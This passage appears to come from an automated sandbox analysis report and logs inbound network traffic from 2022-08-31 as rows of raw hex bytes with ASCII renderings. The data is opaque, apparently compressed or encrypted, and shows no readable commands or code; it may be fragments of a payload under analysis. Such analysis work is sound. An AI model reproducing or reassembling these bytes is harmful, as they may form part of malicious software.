ef 54 80 6f 64 cf b6 3e 43 c2 9c ea d6 01 71 18 3b cb f6 a5 cc 4f 25 fa e4 7a 2b ed 51 1b 10 cb 8e 41 78 01 93 21 fc cf a9 6d b9 33 1e 98 ad 42 15 10 66 45 78 3b fa aa 28 7d eb 62 c1 58 66 Data Ascii: \|}^'UfR`=+*-&+U90)f[c"s$Z[S@-\|!3U~POqxL@ExW`XR~PApP^~X)#Zs%^RO'`h#VtxK=&BrW=t.Tod>Cq;O%z+QAx!m3BfEx;(}bXf
2022-08-31 12:29:00 UTC	2295	IN	Data Raw: b6 b1 60 97 c8 b0 ea 9d 52 75 cf 0d 5f 52 c1 fd ee d0 e1 b9 4c 8a af 9c d2 17 6b 46 e3 b2 e4 ff ca 27 d3 78 c0 9a 19 6a e5 77 37 d8 ae 21 e1 51 a4 6f 01 b8 82 67 34 22 79 14 90 31 d0 0d b4 c1 aa c5 ef 79 23 b6 7f 73 e4 f5 27 9d 7f a1 1d b0 f2 e6 c6 fe 31 ad 5e ce 78 16 b1 05 7a 93 bf ff f6 a7 cc 64 de 48 2b 4a bd 07 0a 0b 25 3a 53 6b ef bf 42 ce 8b 03 60 fe f5 e4 17 d0 e7 71 f3 e2 79 f1 c3 ef 96 49 b5 47 6d 34 50 d9 ab 95 41 f5 c3 c1 16 5c 3d 29 83 78 40 61 b3 ad 44 d2 ae 79 a2 51 63 70 be 16 41 ac 99 79 42 8e 62 37 f3 0f fe 24 c6 d3 1c a6 d3 9f c2 40 b1 cb f1 0c 47 e3 d3 ce 47 2c d0 45 94 d3 91 35 8e f0 63 c6 b3 44 68 98 4f a3 24 39 3a 9a 5f d6 7f e8 61 54 5c 9b 71 67 74 b2 4d dd 9d ef ff 28 1d 14 a3 a4 70 05 1a 68 ed d1 c6 0b a1 2a 8b 9b bd 7c ab 7f 61 Data Ascii: `Ru_RLkF'xjw7!Qog4"y1y#s'1^xzdH+J%:SkB`qyIGm4PA\=)x@aDyQcpAyBb7$@GG,E5cDhO$9:_aT\qgtM(ph*\|a
2022-08-31 12:29:00 UTC	2311	IN	Data Raw: d0 b4 87 6a 2f 7f ce 8c 40 7d bc 19 89 b9 09 eb c2 20 6c b9 21 22 68 0c 8e 5c 4c 4d 45 2a 28 3a 21 e7 05 29 5e 25 2f 0d a7 6c 6b a9 c9 6d bf f2 7f 77 a5 e4 66 6a e3 ab 45 20 0c 97 f5 79 c4 cc 0b e5 be 69 63 fe e8 92 63 29 d1 90 41 35 7e 8a 8a 52 b1 95 8d da 61 8e e2 97 1d 8c c4 a0 fe a7 d0 65 d4 a5 5a 00 6c 49 5e 4e 80 7f 4a ee a8 7a f9 94 38 12 59 46 b0 69 ed 7d 3b df 7f 24 ac 76 49 65 33 40 de 08 34 c0 6e 19 25 6f d5 2c b4 3f 03 0a 88 db 01 e5 cf 51 33 3b b9 47 25 ae c6 7d 74 ce 5e 18 4f 3f 79 29 a8 1c 41 67 b4 39 2c 59 4a dd 62 ad a2 5f 8e 79 9d 15 dc 18 ff b1 f1 03 12 40 28 6c e4 9c 20 3d 2d 63 a3 aa 15 a1 23 2e 0d a6 1b ca 81 eb 7b 3d c9 04 de 0f 68 2f 06 6d 6b 6f 67 1f 40 d0 78 9d aa 47 b7 e0 67 a0 db 73 78 72 2f 73 5b dc 08 91 8a 9b 9d 73 f9 b3 72 Data Ascii: j/@} l!"h\LME*(:!)^%/lkmwfjE yicc)A5~RaeZlI^NJz8YFi};$vIe3@4n%o,?Q3;G%}t^O?y)Ag9,YJb_y@(l =-c#.{=h/mkog@xGgsxr/s[sr
2022-08-31 12:29:00 UTC	2327	IN	Data Raw: f2 32 38 38 00 a5 ea f7 e2 c1 51 7d 11 2d 5e b4 c0 35 ed f1 de 29 d9 e9 6f b1 4c fb 5d 2f af 95 58 8d 83 91 aa 69 7b c6 de 6a 6c be e8 91 63 9e 72 ba 7c 3f 73 a4 17 e6 3d bc 33 21 f9 2e 15 54 b2 4f 0d a4 8f 39 15 7b 50 51 72 d3 35 70 61 d4 7b dd c3 8a c3 95 26 70 58 34 71 13 91 e5 cb 67 d1 62 47 3d 6e 0d 61 0e 6a a0 74 71 62 a8 26 d0 88 b1 86 bf 73 1d 99 3f 79 5c 86 34 74 a3 2e 3c a6 fd ff ea 60 c7 6a 12 b9 7c 4c 73 16 8f 19 70 77 0b 86 e0 3b 09 1f 95 41 3f 02 1e 96 0d f4 1f 0a f4 b6 d3 32 d5 3d f7 f8 08 8a 57 2d de 31 90 fd 69 ca ec a6 8a 37 0f dc 6e 52 af b5 35 a7 ec 3d 91 8e b4 97 ba 97 57 36 25 5d 7d 25 fb 2c 2a e3 85 1b 12 9c 67 1d 0c 19 33 e5 c4 ca 3c 3a c4 0e 3b d9 94 a7 71 d8 5d 80 6e 97 c3 60 e9 9f 3d c1 2d ac 65 49 08 2b d9 11 74 66 fb f7 e5 e8 Data Ascii: 288Q}-^5)oL]/Xi{jlcr\|?s=3!.TO9{PQr5pa{&pX4qgbG=najtqb&s?y\4t.<`j\|Lspw;A?2=W-1i7nR5=W6%]}%,*g3<:;q]n`=-eI+tf
2022-08-31 12:29:00 UTC	2343	IN	Data Raw: 44 98 1a c5 15 1d 48 d2 46 a8 6e 7c 92 ea 29 66 62 00 79 8e 68 0b 76 2f 34 15 5b f2 cf e5 84 16 99 66 80 bb 45 69 69 9d 89 ae cc b4 39 04 38 36 4f 14 0f 22 0f f5 21 02 f6 22 14 9a 23 03 be 7f 85 67 ba 86 9f e5 07 9a 53 62 b8 49 ab 46 86 57 b5 1b c2 9b ba 7d 19 74 d9 92 7d 2d ec 7f 34 e8 10 56 7a a4 92 86 5d fd a9 9f 7b 8a da 4e 02 05 0b dd 19 c4 0d e5 aa e7 71 e9 37 ce 00 70 fd f5 db bd cb 2c 02 64 0f c4 74 63 6e 9e cd ae 0a b7 dd 48 8c 76 e9 25 25 d4 35 57 cf 65 7b b8 c2 66 a0 d8 8e 31 c0 11 f1 ff 45 70 66 70 3f 1e 87 74 3f 45 f8 95 39 8d f0 bf 29 66 0f 67 28 40 54 07 d6 81 64 8e 77 fe 31 ad ca b1 94 e7 b5 5c af cb 38 ae d0 d9 27 38 13 47 26 94 b5 f1 70 08 20 e1 89 61 6f 2b 49 15 02 ac d1 f9 23 37 ca 0e b7 d4 9f 5b 35 55 bc e9 87 ae d7 ef dd 18 a6 0f 8f Data Ascii: DHFn\|)fbyhv/4[fEii986O"!"#gSbIFW}t}-4Vz]{Nq7p,dtcnHv%%5We{f1Epfp?t?E9)fg(@Tdw1\8'8G&p ao+I#7[5U
2022-08-31 12:29:00 UTC	2359	IN	Data Raw: 39 16 d7 2b 95 52 14 ef 87 4e 51 07 99 f7 2a 74 59 ff 02 85 2d 97 bc 7e 54 b4 92 9c ed b7 05 c8 42 c7 b4 42 a5 c7 8c b4 cb 98 fb 39 ee 56 9e b0 ce ed 3a e4 0a c6 83 82 a8 d9 56 c0 70 e4 eb 74 d1 01 7b 2e 29 c7 f1 5d f7 2a fb c4 2f 1c 83 08 b2 91 56 8a c2 4e 2f 18 04 3b 4d bf 30 b1 11 b2 c3 f1 a3 c7 ba 74 0e d8 f9 bd 27 7a e7 4c a5 63 05 6f b1 d8 df 56 ca f3 69 ab fb 46 43 a5 d1 fb 8b e1 a8 06 ac 64 e0 7d 00 3a 77 45 5d 63 e9 1d bb 7b e7 66 e3 11 c0 d1 3f 12 af b2 2f e1 5b 1c 82 f4 4e 2a 38 70 51 d2 46 d3 ff 96 6c 0f 80 c5 ee b8 96 96 fb 2d 47 48 62 68 2d 53 5c 5c 24 d2 37 c6 d3 5f 74 c8 23 12 aa ca af 95 05 4b a0 dc 83 ce 32 11 8c 58 59 75 80 bd b8 89 dc 8f 5e 33 08 e6 3b 19 77 29 1c fc 41 44 ad ea ae 0f 27 bc 1c 3c 74 a1 7f 68 ae 0f 92 73 c8 2f 52 f2 24 Data Ascii: 9+RNQtY-~TBB9V:Vpt{.)]/VN/;M0t'zLcoViFCd}:wE]c{f?/[N*8pQFl-GHbh-S\\$7_t#K2XYu^3;w)AD'<ths/R$
2022-08-31 12:29:00 UTC	2375	IN	Data Raw: ed 49 d9 99 10 b2 0a c7 89 e3 5c 6b 2c fd 0f ea 1e 60 72 fb df 3f ab 5d 3d c9 33 6e a4 ee 44 77 6f 98 c4 e9 75 62 88 05 94 ce 02 6a e0 76 0d aa 6a 73 ff 65 c6 f8 5b a1 55 25 99 0a 92 c0 36 71 42 a3 a8 b2 99 1b 8f b3 84 f0 f5 89 9f 33 6c 4d 33 60 e1 e0 7f 94 0d a1 66 16 71 42 2b 14 1d a0 5a 4d 66 1c 93 44 62 7b 9b bf af 7f 3d c5 ba ce e4 61 6a 37 61 73 93 a8 42 c5 4b 0d df 67 5f 54 fd da 1c 41 0f c4 d1 8c 56 d4 52 2f 42 74 21 52 96 32 41 f0 c9 26 e1 76 ed fb 0e 63 29 97 ac 22 a9 47 c8 d2 db 37 49 96 39 96 cb b6 11 fe 92 e3 fa af 3a 76 d3 86 6f b3 25 5e 72 94 8a dc af fe 53 b4 27 91 38 02 55 48 b6 8d ae e2 0a 3c 14 a4 f3 ce 24 99 31 87 88 e6 68 11 18 37 bd 09 a1 24 5c 2a 43 6c 28 c7 f6 5d 2a 80 3c a6 76 ce 9b 08 3e 2a 79 b2 c3 12 2f ce 8d 31 c8 00 5c 8f 02 Data Ascii: I\k,`r?]=3nDwoubjvjse[U%6qB3lM3`fqB+ZMfDb{=aj7asBKg_TAVR/Bt!R2A&vc)"G7I9:vo%^rS'8UH<$1h7$\Cl(]<v>*y/1\
2022-08-31 12:29:00 UTC	2391	IN	Data Raw: 17 d5 d8 12 6d a0 93 b8 27 de 1a ab 5c c2 b8 5a 50 a1 a7 cf 08 c3 9c 09 e6 fc 40 83 52 df 1d 0e 22 31 14 26 16 77 c5 e3 5d bd ec 9a b7 90 33 9d 58 d8 73 b4 f6 a1 b8 bd d5 63 b3 96 12 28 6f 4f 8a 52 fa 3b a1 e4 ec d5 61 08 87 c3 f5 9d 8c 70 05 e0 43 e7 bb 2e 9a 1f 1e 8c da 2f e4 1b 41 dc 1f 38 df 31 bc 90 de 5f 07 38 0f b5 05 a4 82 fa 8d a7 ea 2b 04 c9 5b a9 c1 79 d2 fe 3e 96 99 40 6e 51 3b 38 7e 98 ff 20 98 be e4 a9 d0 69 e2 4e 65 96 ac 61 16 22 84 8b bd 36 ae 2d 74 a9 1b db 91 9a ac de 25 a1 5f d1 29 1a 3e ef 13 7e d1 dd 35 61 a6 5a 99 57 4b f2 ec fe 9d 13 31 28 e3 a2 7f c2 f5 b2 f9 d7 ea 77 1c 72 ce 47 26 25 fe ae 2b 14 25 d1 67 6d bd 0a d1 c1 70 62 e2 39 b1 07 b8 25 d8 29 89 1d b2 72 6f c9 5c 90 53 f4 f2 a4 d9 c9 7b 07 d2 e3 d1 9f 8a 91 b3 9c 3e e1 30 Data Ascii: m'\ZP@R"1&w]3Xsc(oOR;apC./A81_8+[y>@nQ;8~ iNea"6-t%_)>~5aZWK1(wrG&%+%gmpb9%)ro\S{>0
2022-08-31 12:29:00 UTC	2407	IN	Data Raw: 19 83 bb 31 ea 14 42 0b 80 54 04 41 04 e5 46 2a d7 8f 36 ad 51 52 be 4b cd e6 a9 a6 2d bf 43 52 89 52 80 9e fd 7a 3a ad 3e ab 94 4b 24 40 dd 78 f9 c4 91 54 47 90 82 23 95 b9 5b 57 ae 1b b1 6b 16 20 0c ce ae 08 ae 7f 82 ac 29 88 a9 42 23 68 b0 94 b4 eb b2 fd 42 11 40 15 ae d7 93 04 b6 77 3a e8 27 e9 a0 0e 11 6b 34 6c 8d 7e c2 02 00 1e 8e 16 91 41 3d 52 ae 58 62 1e 81 1a f8 72 d1 f6 61 95 25 19 a6 f5 87 59 2f e4 6e 3b 70 51 82 e8 7a 17 91 41 eb c6 53 af 1a ca b7 b0 fd da cf fd d5 5c ec d7 44 ce eb df 94 9f 7c 08 9a 46 b6 63 4a cf 9b fe 69 d3 ab 45 57 e4 a8 66 6a d5 9a db ea e1 b1 cd 23 0d 26 97 43 58 4c d0 88 7a 5c 61 95 3d 26 a4 89 bf a7 ae 83 c8 10 56 bc 46 e4 8a 27 6c 06 57 2c a0 59 e4 8f 88 97 0b e2 6f f7 ba 5b 57 b4 73 8c c2 58 0f bf b9 68 f9 1a 63 ea Data Ascii: 1BTAF*6QRK-CRRz:>K$@xTG#[Wk )B#hB@w:'k4l~A=RXbra%Y/n;pQzAS\D\|FcJiEWfj#&CXLz\a=&VF'lW,Yo[WsXhc
2022-08-31 12:29:00 UTC	2423	IN	Data Raw: bb e7 cd 7d ec 8e 33 0a 59 32 cc 77 58 25 22 46 22 88 de 5c 29 b1 bd dc a8 b0 1e ed 12 44 dd 02 14 98 55 8f a0 7f 98 b4 fa 5f fc 12 6b e6 da 87 fb 89 e4 c6 db f6 4a 0f eb 5c fe 1c 40 fd 67 db 0f 4c 03 d6 41 f3 68 40 c6 9e b1 79 24 c6 23 d1 8b 39 f5 9f 8d e8 eb f3 cb d9 07 c1 ef 92 9d 08 2c 41 bf 82 18 5f 76 c7 79 df 16 d5 a7 7e 70 64 39 1f 26 20 fb de f3 3b 61 71 a0 43 5b fd 56 0d 87 56 a2 87 d1 01 5e 4a e6 39 4b e3 dd 60 4b 34 d7 74 79 22 27 96 1c b9 4f 28 64 d4 d6 ce 26 7d 08 66 83 99 c3 97 f9 34 c1 65 99 a0 1b 83 a7 43 ec 8b ed 2a 49 25 cf e9 39 7d 1f 48 4a 23 ca e7 24 3a f8 35 88 42 3f c7 a7 85 3e de ad 85 c3 95 ce db de 1e 80 96 b9 a5 53 c1 d6 bd d9 ab 7b fd 0f 94 3d b9 cc f7 10 f8 37 ed 14 61 82 e6 8a c7 34 e6 9a 3e ad e4 39 9a 48 7a 6f e8 33 66 fa Data Ascii: }3Y2wX%"F"\)DU_kJ\@gLAh@y$#9,A_vy~pd9& ;aqC[VV^J9K`K4ty"'O(d&}f4eC*I%9}HJ#$:5B?>S{=7a4>9Hzo3f
2022-08-31 12:29:00 UTC	2439	IN	Data Raw: f8 34 7b 04 cd fe 04 06 7c 1d 12 e4 1a 9b 77 26 b6 05 50 91 e7 d4 90 92 dc 1c 3d d4 37 b2 a4 70 ec ee 6b da 4e c2 9a b8 83 65 7c 33 6d 2f 45 e6 22 8c b7 91 85 e4 b9 06 fe 07 aa c0 c3 cd 3a e5 73 54 c2 57 7d 72 6f fd 21 58 64 c2 0b 4c d0 7f 5a ef bb 8c e3 86 05 c3 e1 a9 bc 1c a4 01 74 d2 6b b1 26 8f 2e c1 74 c4 a0 dc 10 a0 55 05 56 51 02 5e eb 87 62 8e e6 b8 07 f2 8e 1d 73 f1 fa 92 87 cd 66 cf 76 0b 71 08 49 e0 b3 c5 bc a0 42 b6 4c 13 f8 b9 93 73 92 3f 1a 75 73 71 04 2b f3 ef 7f c6 08 05 83 9b 69 8c 50 c0 0b bb f7 f6 12 37 b1 bf a7 5c 41 48 0c 7a 0a 68 b3 00 2e 01 67 70 21 f0 39 23 1b 2c 8e d6 6b 9e f2 39 18 ae b1 84 34 cc 54 0e 87 58 a6 64 cd 0e 9d 52 c8 70 34 93 95 14 f4 23 4e a3 53 31 46 55 b7 d6 8a 24 e8 0e 06 33 fa d1 49 bd 8b e0 ef 9d 06 de c9 b4 74 Data Ascii: 4{\|w&P=7pkNe\|3m/E":sTW}ro!XdLZtk&.tUVQ^bsfvqIBLs?usq+iP7\AHzh.gp!9#,k94TXdRp4#NS1FU$3It
2022-08-31 12:29:00 UTC	2455	IN	Data Raw: 00 9a a9 df 4d a8 f5 77 7f bf cb b2 3b de 0a d9 46 4b 0a 4a 44 7f 66 2b da 66 83 34 4a 4c e2 d8 1e 99 25 1c 22 cf d3 00 0b 8a 28 59 ad 53 f8 37 84 40 7a a2 72 ff 2b bd 7b 06 ff 7c bf c1 03 4f 62 de 20 03 99 cd 14 c7 ae 7b 2b 9b 90 97 1e 9f 2a 3e 94 e6 9a 9f 5a 1d bc 39 a2 e2 47 e6 a0 d6 dd 58 bb 71 30 35 db ea d2 9b 56 85 9b b6 99 04 55 2d d6 d2 a7 cb a2 b7 2a 8c 04 00 d2 fe d7 fd db 04 45 10 dc 77 34 2e 03 e0 c8 d6 dc eb 3d c9 f5 6d 71 d4 9c fb d9 be 56 92 d9 49 d6 c1 8e 90 05 5a 0a 01 53 26 48 88 97 cc c1 73 44 e3 e6 92 79 9f 09 c6 bc bb 4b 18 01 4d d8 a3 54 61 d2 82 19 a1 27 a4 c9 06 f3 29 98 b8 04 35 7c 6c 07 f4 60 b9 72 6c b3 15 40 cf 69 f8 08 27 a1 bf 83 70 da 02 f1 91 64 0b bf 34 9b 40 8c a1 74 a9 08 0e 93 2b 6c a7 d0 7a 99 bc 4b e4 ce b9 c0 20 23 Data Ascii: Mw;FKJDf+f4JL%"(YS7@zr+{\|Ob {+>Z9GXq05VU-Ew4.=mqVIZS&HsDyKMTa')5\|l`rl@i'pd4@t+lzK #
2022-08-31 12:29:00 UTC	2471	IN	Data Raw: 2c 70 f3 69 bb b4 24 58 87 60 1b e0 5a 15 4a 17 ab cf b0 99 c9 a3 97 4d 38 be 60 ab 42 a3 06 2b c7 aa 74 72 b3 cb 21 f0 15 e5 1f 79 c6 c2 2d d3 84 0e 25 b2 eb 90 59 08 22 71 49 d4 20 2a da c2 d3 5d 65 87 84 30 75 91 86 ab 18 23 e6 4d fa cf ea 2a aa 2c 6f 47 91 79 b9 74 37 71 b2 fa b5 c2 50 a7 f5 99 b2 c8 95 09 69 b6 c7 d4 14 be 5d cc 5a 56 31 e8 15 95 18 71 dd d8 05 a5 b5 91 0c 22 b0 4b 71 63 21 6f 52 6c 60 df db 21 f5 8c a4 ec f4 6f aa b2 33 98 c7 65 fd 4b 0f 3b 18 47 1d 0c 9d 48 a6 f1 45 99 f5 51 82 b2 5d 56 b1 dc cb 4c e7 04 a4 9b 88 97 70 41 c1 db 44 eb 13 2b 4c 9a 16 8a 53 5f d9 e5 dd 09 ee 8f 91 30 b9 bf af 04 2e 1c 40 2f 3a ec be 22 df 42 14 b2 61 d5 57 27 94 92 a7 22 0a 47 de bc 36 cb 6b 2c ce b0 18 56 3a 1b 98 c0 86 73 12 bf 29 67 a0 33 f5 73 9b Data Ascii: ,pi$X`ZJM8`B+tr!y-%Y"qI ]e0u#M,oGyt7qPi]ZV1q"Kqc!oRl`!o3eK;GHEQ]VLpAD+LS_0.@/:"BaW'"G6k,V:s)g3s
2022-08-31 12:29:00 UTC	2487	IN	Data Raw: 63 de f5 a1 8f 55 bb e7 28 6d e3 d8 5e 9b 3c 87 f0 1b f2 d5 52 1b e6 6f 21 69 bd 2e f4 79 fd 09 97 3f ba 6f 12 d9 d0 cd 41 78 7d af 73 06 dc 4d f3 d1 50 96 bd df 21 74 d6 07 6a 7c 6e 5a b4 a8 7e 76 ff 9f 13 49 a5 13 45 cc c4 a6 d8 a0 78 bf 51 1b 00 e3 58 28 8f a4 45 a2 98 f5 a6 e5 be a1 c5 f5 91 e3 85 c8 e5 7d 1a a6 94 05 11 cf 4a 25 fe bc 04 6a 74 7c d8 6d 1c 0d 94 b3 9f 71 c0 87 36 36 f6 4d 50 9e 7f 6f de 2d 84 ba 05 2f 21 c6 23 93 7c 08 f5 4f 1a 49 61 47 74 bc f8 85 96 11 fe e5 0f f8 04 9b 72 94 5b aa 18 c3 83 e7 0f b4 ff f0 a0 af 19 50 f0 2d 5e a0 e2 be e8 0b 1f d1 b8 05 0d 48 cc b0 b1 28 9b 7e fa 3e 53 8b d3 30 b9 7e 83 1a c2 91 36 2d 3d 72 c7 df 2d 5c d7 00 82 0b 78 d7 18 18 67 ee ed 69 48 0e 08 dd 1e 80 5e 2a 72 57 a2 2c 10 72 d0 fa 27 af 91 92 f2 Data Ascii: cU(m^<Ro!i.y?oAx}sMP!tj\|nZ~vIExQX(E}J%jt\|mq66MPo-/!#\|OIaGtr[P-^H(~>S0~6-=r-\xgiH^*rW,r'
2022-08-31 12:29:00 UTC	2503	IN	Data Raw: 6d 16 4a 02 23 4e 74 12 58 20 a9 8c 55 e8 1a 9e a5 69 3f d8 ae 99 db 3b 17 3c d8 b7 99 b8 78 b6 f8 4c 2e 1e 62 83 a3 9f 70 c8 e9 b5 42 09 7c 80 9d ba 5a a5 3b 96 52 2a c9 a3 4e 9d bd 5f c8 2e 02 bb 7d 5a 9a f3 55 72 19 b0 8d 1e 1b 68 55 eb 37 73 9e 1e d6 98 1a 3a f2 ca 43 7a 63 eb 92 aa 46 e8 ca 63 9e 03 56 a4 4f b9 93 27 38 3e b6 15 2a 2a be 51 54 29 f6 79 ec 10 8f 6a c3 51 8c 88 1d f7 e3 12 ae d6 ba 39 5c fa ab 17 de d8 0b 42 d2 71 15 75 5c cd f9 00 95 72 d2 a0 9a 81 d7 32 9e 92 21 d2 1c 38 59 ce da 00 46 14 f9 5e d7 83 ec f7 46 a1 5a 83 b6 b1 36 c3 86 64 b6 8c 13 5d 2a f8 71 94 91 6c d8 05 6f 36 4b a2 0e 19 33 dd 8a f6 a1 83 9e 96 db 99 83 b4 5d 93 85 bc 26 cb 1d fc 03 6b 55 16 5e 8c be 1a e9 9e d8 51 63 50 52 0e bb 25 0d c0 57 e6 8d 4f dc 2e 0f df fb Data Ascii: mJ#NtX Ui?;<xL.bpB\|Z;RN_.}ZUrhU7s:CzcFcVO'8>QT)yjQ9\Bqu\r2!8YF^FZ6d]qlo6K3]&kU^QcPR%WO.
2022-08-31 12:29:00 UTC	2519	IN	Data Raw: 43 92 28 db a6 02 20 12 38 1f 4c 3c ad 39 02 84 f4 52 02 75 40 d8 ee a1 09 d3 52 d5 02 0d 9a 68 36 a0 cf 27 4a 29 61 33 33 15 ce 19 f8 05 28 07 8d 49 45 32 ce e7 0c 31 88 c5 8b fa fd c7 d5 d1 2a 83 3a 9c f3 66 73 b0 a7 e5 80 18 37 84 b9 3f 25 8e e5 54 92 2b 06 47 05 ff 73 af d7 79 f1 5f 42 cd 6a 59 73 4c 40 59 b7 90 c4 18 ca 40 b8 77 0d 80 40 44 6e 12 3e 69 5d 1e 89 f4 99 37 1b 57 53 54 8e 78 8b 78 5a 59 56 40 37 bf 71 7d 23 f8 1a dd 9c 24 88 ca 8e 89 88 d5 0d 8c 32 c2 13 ce c7 7d af 7c af 5e fc 9d 0a 72 2f 1d 79 bb a2 06 6f cd a2 78 f6 1d a2 9b 3c a8 8d 28 c4 88 21 9d 17 8a d9 9a 4c 4b d5 5e 66 c8 56 27 07 d2 ee 6b 48 a8 d1 1e 5b 2f d8 02 55 54 42 f5 e8 44 97 59 b9 42 5c 13 ea ed 66 0c ab 0a dc 27 91 77 36 4b a3 83 54 2b 0f 44 54 9e 77 84 83 28 ff 92 60 Data Ascii: C( 8L<9Ru@Rh6'J)a33(IE21*:fs7?%T+Gsy_BjYsL@Y@w@Dn>i]7WSTxxZYV@7q}#$2}\|^r/yox<(!LK^fV'kH[/UTBDYB\f'w6KT+DTw(`
2022-08-31 12:29:00 UTC	2535	IN	Data Raw: d9 2c ca 80 6a 5e 9e 1f 39 49 aa 83 eb 61 fd af f7 bc 89 9a ee cb dd 8b 48 f8 00 6e f9 55 6f b2 05 cf cf d3 4b 52 fe d3 72 c1 9c 92 7e 5d 75 0a 8f 35 90 1d d4 42 b8 05 2b 36 a1 1f 8d b6 22 aa 91 a8 1f 7e 0b 0b bf 03 2d 23 fb 1a 0a 09 2e 70 09 73 48 05 a2 20 89 fc 46 a4 0e 3f 95 d7 99 65 a5 16 c8 10 51 81 97 22 b7 24 8d 9f 7c 32 93 28 64 cc 85 7c 1e 91 34 7b 7e 4c 0b 22 fc 47 37 33 5c a1 ac 2a 1d 46 7c 7d 5d 0a a3 ea 8f 7f 9b ce 9a bf 82 36 d9 f3 94 75 08 fb 3c 1f 88 38 26 82 37 0f 5d 6d bd b5 e7 8c 67 7f 7a 52 d6 9b 0a 7b d2 f9 ce f6 54 ab 26 51 08 dc 60 b4 c7 aa cf dd ee 2f ee b1 06 28 9f 5c d2 4d 79 8c 3f 8d f0 a9 ce b0 cb 0b 46 6e 15 42 ab 4a ef a5 72 83 95 b7 03 08 bb 5c 61 e3 b4 0a 2c 20 3d 17 51 a9 71 74 2d 1f 00 3e f7 ae 6d 83 51 f9 d3 f3 b4 7d 91 Data Ascii: ,j^9IaHnUoKRr~]u5B+6"~-#.psH F?eQ"$\|2(d\|4{~L"G73\*F\|}]6u<8&7]mgzR{T&Q`/(\My?FnBJr\a, =Qqt->mQ}
2022-08-31 12:29:00 UTC	2551	IN	Data Raw: f5 87 d6 30 e5 e1 2f 73 d4 9c 00 2d 9b dc 35 1b a3 a2 30 2f 9a b5 c2 ac 91 b0 3b 05 b2 d8 b9 e9 cb f2 e8 79 6d 85 5e ce af 3b 18 9c a4 c5 9d c6 a3 71 6b 33 ad cf 37 ca b0 4e 9b da 8a f4 9b c9 3a 8c be 9a 3c 38 f6 7b 2a 8e b7 11 7f 0e 2d 58 aa 58 f0 bb 3a 09 d1 d7 8b 22 fb 93 94 9c 27 4e 6e 07 93 74 48 61 7b 55 17 27 ff 48 d1 f1 27 7b b1 66 13 58 1f 9b 2a 03 13 db d9 3a 38 5c 8c 8f f7 5e c2 60 ee e9 5a af bd 7f 3b 48 8c 51 03 00 e6 eb d5 c5 a5 c6 6c 4b 3a e4 6d d3 24 a3 38 de a7 43 1b af 3f 31 f9 9d 0c 39 ad e9 48 0d 10 3e ea c7 e2 1f b4 4a 69 73 65 84 29 7c 95 3c 0b cf 26 85 54 d4 3f e3 20 81 46 63 e9 5b fe b9 a5 20 57 e0 96 14 04 63 13 d7 42 b1 99 27 df 2f 99 53 dd 2e b7 b5 de a2 b1 d0 d6 a1 14 f2 c5 58 2c bb 54 c3 8b d1 51 10 2d 23 9e b5 35 ab 5f aa ab Data Ascii: 0/s-50/;ym^;qk37N:<8{-XX:"'NntHa{U'H'{fX:8\^`Z;HQlK:m$8C?19H>Jise)\|<&T? Fc[ WcB'/S.X,TQ-#5_
2022-08-31 12:29:00 UTC	2567	IN	Data Raw: 80 4e bc 9f fb 07 51 57 4e 43 5a 78 ba 0e be f2 3d b4 36 f9 fb d7 33 4a 97 29 66 7c b9 13 96 c7 d8 44 9f e4 74 b9 d3 e2 ba bd 64 c7 81 db 12 4f 01 91 72 00 f7 30 ff 49 72 61 9c 3b cf 37 e7 60 39 ef d5 62 ac 6c b4 c6 57 c5 3e 76 41 db ac f8 66 ac 7f 92 94 25 11 d5 9d 7f f5 5d 22 aa 95 aa 63 04 4c c8 38 8e cc b7 b9 71 92 f7 26 6c 94 38 24 20 3c 8a f1 f7 b3 05 c1 17 68 0b 0a 88 42 51 62 74 06 21 89 d4 84 34 6a 93 3b dd 12 77 b0 3d 0f 94 74 22 f2 1a ef de dc 21 28 ed 62 6d c7 f0 fe f4 44 40 79 12 51 62 a3 ff 53 13 f6 3e b3 96 a9 fe f3 00 89 f0 ed ab 9d 77 f4 a9 75 eb 5d 78 b0 ef d6 b5 ab 41 7a f9 0d 26 5e 32 f5 92 f0 55 f4 ee 5f 91 6d e7 40 18 b3 16 77 80 a8 3e 5a 84 fc c8 d3 ab 68 ad bf ba 75 02 7d fd c0 62 2a e6 98 09 6c 8d 70 5d 0a 12 db b6 70 7d fd a6 c7 Data Ascii: NQWNCZx=63J)f\|DtdOr0Ira;7`9blW>vAf%]"cL8q&l8$ <hBQbt!4j;w=t"!(bmD@yQbS>wu]xAz&^2U_m@w>Zhu}b*lp]p}
2022-08-31 12:29:00 UTC	2583	IN	Data Raw: e9 3d d4 20 10 3f 1b 7f d6 25 af 2a 89 ed f4 f1 48 ec eb d7 7f 48 fe 07 05 de c0 67 b9 7f fb 3b 51 25 dd 0f f1 d0 a1 58 c2 7b 2b de 82 69 95 b5 a6 fc d1 f3 92 36 9f de 24 a9 bf 6d 12 03 80 32 13 b5 1e 67 64 3a 04 29 2c 4d cd 4d d2 90 50 b7 e4 87 56 e2 07 49 6a 46 65 01 3b 1d 69 68 df 1b 59 27 22 a1 31 51 70 0c fa c8 a7 23 f2 47 20 4b 1c 9b 84 9f e7 38 c5 d5 ed 22 6d 0b 1a d4 da 84 c9 ca b0 b7 fa ce 98 cf 30 20 78 89 14 db 56 05 d0 46 9d 11 5d b2 ff 29 92 85 76 65 4a 24 e4 fe 4e 48 9c 6c 5a e7 a6 04 a5 70 88 9d 05 da e7 32 8f a2 c8 5b e9 df c4 f7 c7 4a c8 dd 37 8c 5f ab b3 5c 53 68 ba 37 32 0e 03 3b 49 02 1a e6 18 57 1e c1 0e 78 60 c7 3b 44 ef 84 4e 55 46 fc ec 94 2a b8 91 74 e8 f3 a1 33 cc c6 59 90 fd aa 1d 55 ab d6 4e 8c 7e ad 31 7e f0 7e 92 4e 92 d3 1d Data Ascii: = ?%HHg;Q%X{+i6$m2gd:),MMPVIjFe;ihY'"1Qp#G K8"m0 xVF])veJ$NHlZp2[J7_\Sh72;IWx`;DNUFt3YUN~1~~N
